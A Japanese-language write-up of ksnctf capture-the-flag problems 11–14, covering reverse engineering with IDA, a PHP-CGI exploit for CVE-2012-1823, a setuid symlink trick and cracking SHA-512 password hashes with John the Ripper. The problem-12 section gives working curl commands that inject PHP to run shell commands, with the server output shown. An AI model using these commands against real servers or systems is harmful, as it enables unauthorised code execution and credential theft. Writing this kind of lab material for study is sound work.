ksnctf writeup (problem 11 -- 20)
https://ksnctf.sweetduet.info/ の問題の write-up です。 ソースコード等は https://github.com/gky360/study_ctf/tree/master/knsctf にあげています。
11. Riddle
問題概要
exeが与えられます。 起動すると、クイズが4問順に出てきて、正解すると次に進めます。
- 1問目: Which creature in the morning goes on four feet, at noon on two, and in the evening upon three?
- 2問目: What is the largest island in the world?
- 3問目: Answer to the Ultimate Question of Life, The Universe, and Everything.
- 4問目: What is the flag?
ポイント
- リバースエンジニアリング
- IDA の使い方
解法
IDA などを使ってバイナリ解析をしていきます。 mac使いの私は vagrant で構築した windows にIDAを入れて使いました。 Vagrantfile は こちら 。
4問目以外の正解はwikipediaなどで調べると出てきます。
- 1問目: Which creature in the morning goes on four feet, at noon on two, and in the evening upon three?
- => 正解: Human
- 2問目: What is the largest island in the world?
- => 正解: Greenland
- 3問目: Answer to the Ultimate Question of Life, The Universe, and Everything.
- => 正解: 42
- 4問目: What is the flag?
- => 知りません。
以下の記事を参考にフラグだけは求めましたが、精進が足りていなのでまだ理解はできていません。。
12. Hypertext Preprocessor
問題概要
謎の文字列が表示されているページが与えられる。 ページのタイトルは「Clock」。
ポイント
- CVE
- php
解法
与えられたページにアクセスすると、 2012:1823:20:19:04:25:13:31:54:45:30:27:34
のような謎の文字列が表示されます。
最初の 2012:1823
を除けば、2019年04月25日... というように「Clock」になっていそうですが、 2012:1823:
は何なのでしょう。
ぐぐってみると、実はこれは CVE (Common Vulnerabilities and Exposures) の番号であるとわかります。
NVD - CVE-2012-1823 はphpの脆弱性で、
phpで立てたcgiのurlのクエリパラメタに =
が含まれない場合、その文字列がコマンドラインオプションとして認識されるというものです。
つまり、 http://example.com/index.php?a+b+c にアクセスすると、 php index.php a b c
が実行したこととおなじになるということです。
ヤバそうな脆弱性です。
http://ctfq.sweetduet.info:10080/~q12/index.php?-s にアクセスしてみます。
これは、 php -s index.php
と同じ意味になります。
-s
オプションはphpのソースコードを出力するというオプションなので、ソースコードを見ることができます。
3行目に // Flag is in this directory.
というヒントがあります。
脆弱性を利用して任意のコマンドを実行するにはどうすればいいでしょうか。
答えから言うと、例えば ls -la
を実行する場合以下のようになります。
curl "http://ctfq.sweetduet.info:10080/~q12/index.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('ls -la'); ?>"
クエリパラメタの部分を読み解いていきましょう。
これは、 -d allow_url_include=On -d auto_prepend_file=php://input
というオプションを渡したことになります。
-d
は php.ini のディレクティブをコマンドライン上で定義できるオプションです。
したがって、php.ini に以下を追加したのと同じ意味になります。
allow_url_include=On auto_prepend_file=php://input
allow_url_include=On
で include するファイルをURL指定できるようになります。
auto_prepend_file=php://input
php実行の最初に php://input
の内容が実行されるようになります。
php://input
はHTTPのリクエストbodyを指します。
以上より、先程の curl コマンドで ls -la
が実行されるというわけです。
$ curl "http://ctfq.sweetduet.info:10080/~q12/index.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('ls -la'); ?>" total 18668 dr-x--x--x 2 q12 q12 4096 Apr 25 22:50 . drwx--x--x 3 root root 4096 Apr 25 22:50 .. -r--r--r-- 1 q12 q12 90 Apr 25 22:50 .htaccess -r-------- 1 q12 q12 22 Apr 25 22:50 flag_flag_flag.txt -r-xr-xr-x 1 q12 q12 600 Apr 25 22:50 index.php -r-xr-xr-x 1 q12 q12 19093315 Apr 25 22:50 php.cgi <!DOCTYPE html> <html> <head> 後略 ...
cat flag_flag_flag.txt
を実行すれば、フラグがゲットできそうだということが分かります。
以下のコマンドでフラグがゲットできます。
curl "http://ctfq.sweetduet.info:10080/~q12/index.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('cat flag_flag_flag.txt'); ?>"
ちなみに、PHP は PHP: Hypertext Preprocessor の略なので、今回もまたタイトルがびみょーにヒントになっていたわけです。
References
13. Proverb
問題概要
ssh の user/pass が与えられる。 ホームディレクトリは以下のような感じ。
[q13@localhost ~]$ ls -la total 48 drwxr-xr-x 2 root root 4096 Jun 1 2012 . drwxr-xr-x. 17 root root 4096 Oct 6 2014 .. -rw-r--r-- 1 root root 18 May 11 2012 .bash_logout -rw-r--r-- 1 root root 176 May 11 2012 .bash_profile -rw-r--r-- 1 root root 124 May 11 2012 .bashrc -r-------- 4 q13a q13a 22 Jun 1 2012 flag.txt ---s--x--x 4 q13a q13a 14439 Jun 1 2012 proverb -r--r--r-- 2 root root 755 Jun 1 2012 proverb.txt -r--r--r-- 1 root root 151 Jun 1 2012 readme.txt
proverb
を実行すると、 proverb.txt
に書かれたことわざをランダムに1行分表示する。
ポイント
解法
proverb
のパーミッションが ---s--x--x
になっています。
s
は setuid を意味していて、このプログラムは実行するユーザではなくowner(今回は q13a)の権限で実行されます。
proverb.txt の代わりに flag.txt を proverb に読み込ませる事ができれば、 flag.txt の内容が表示できそうです。
これはシンボリックリンクを使うことで実現できます。
書き込み権限がある /tmp
に移動して、適当なディレクトリを作ります。
今回は /tmp/xxx
を作ったとします。
新しく作ったディレクトリ下で以下のコマンドを実行すれば、 flag.txt を proverb.txt の代わりに表示させる事ができます。
ln -sf ~/flag.txt proverb.txt
~/proverb
14. John
問題概要
以下のような文字列が与えられる。
user00:$6$Z4xEy/1KTCW.rz$Yxkc8XkscDusGWKan621H4eaPRjHc1bkXDjyFtcTtgxzlxvuPiE1rnqdQVO1lYgNOzg72FU95RQut93JF6Deo/:15491:0:99999:7::: user01:$6$ffl1bXDBqKUiD$PoXP69PaxTTX.cgzYS6Tlj7UBvstr6JruGctoObFXCr4cYXjIbxBSMiQZiVkKvUxXUC23zP8PUyXjq6qEq63u1:15491:0:99999:7::: user02:$6$ZsJXadT/rv$T/2gVzYwMBaAsZnHIjnUSmTozIF/ebMvtHIJjikFehvB8pvy28DUIQYbTJLG6QAxhzJAKOROnZq0xV4hUGefM1:15491:0:99999:7::: user03:$6$l0NHH5FF0H/U$fPv3c5Cdls/UaZmglR4Qqh8vhpIBsmY1sEjHi486ZcDQ2Vx5GY0fcQYSorWj6l42jfI47w437n.NBm8NArFyT/:15491:0:99999:7::: ... user99:$6$SHA512IsStrong$DictionaryIsHere.http//ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt:15491:0:99999:7:::
ポイント
- passwdファイル
- John the Ripper
解法
与えられた文字列は passwd ファイルの形式になっています。linuxをいじったことがあればピンとくるでしょう。
ただ、最後の行だけ毛色がちがっていて、問題のヒントになっています。 「SHA512 is strong」 という文字列と http://ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt という URL が読み取れます。 URLの方は単語が羅列された辞書ファイルになっています。
ここで、問題タイトルの「John」に着目します。 「John sha512」などでぐぐると、 John the ripper というパスワード解析ツールが存在することが分かります。 どうやら、 john に先のURLの単語ファイルを辞書として与えて問題文のパスワードをクラックすれば良さそうです。
以下のコマンドで john を使って passwd ファイルの暗号化されたパスワードを解析することができます。
cd path/to/john cd run ./john --wordlist=<単語ファイルのパス> <問題文を保存したファイルのパス> # 1分くらいで解析が終わる
解析結果は以下のコマンドで確認できます。
./john --show <問題文を保存したファイルのパス>
解析結果は下記のとおりです。 解析されたパスワードの頭文字をつなげるとフラグになります。
user00:FREQUENT:15491:0:99999:7::: user01:LATTER:15491:0:99999:7::: user02:ADDITIONAL:15491:0:99999:7::: user03:GENDER:15491:0:99999:7::: user04:__________:15491:0:99999:7::: user05:applies:15491:0:99999:7::: user06:SPIRITS:15491:0:99999:7::: user07:independent:15491:0:99999:7::: user08:ultimate:15491:0:99999:7::: user09:JENNY:15491:0:99999:7::: user10:HELD:15491:0:99999:7::: user11:SUFFERS:15491:0:99999:7::: user12:LEAVE:15491:0:99999:7::: user13:floating:15491:0:99999:7::: user14:zecht:15491:0:99999:7::: user15:opinion:15491:0:99999:7::: user16:QUESTION:15491:0:99999:7::: user17:karaoke:15491:0:99999:7::: user18:strange:15491:0:99999:7::: user19:zero:15491:0:99999:7::: user20:DELIGHT:15491:0:99999:7::: 21 password hashes cracked, 1 left
ちなみに、john を mac でビルドする / brew で入れる のはいずれもうまくいきませんでした。 linux で john 1.9.0 のソースをビルドして使用するのがおすすめです。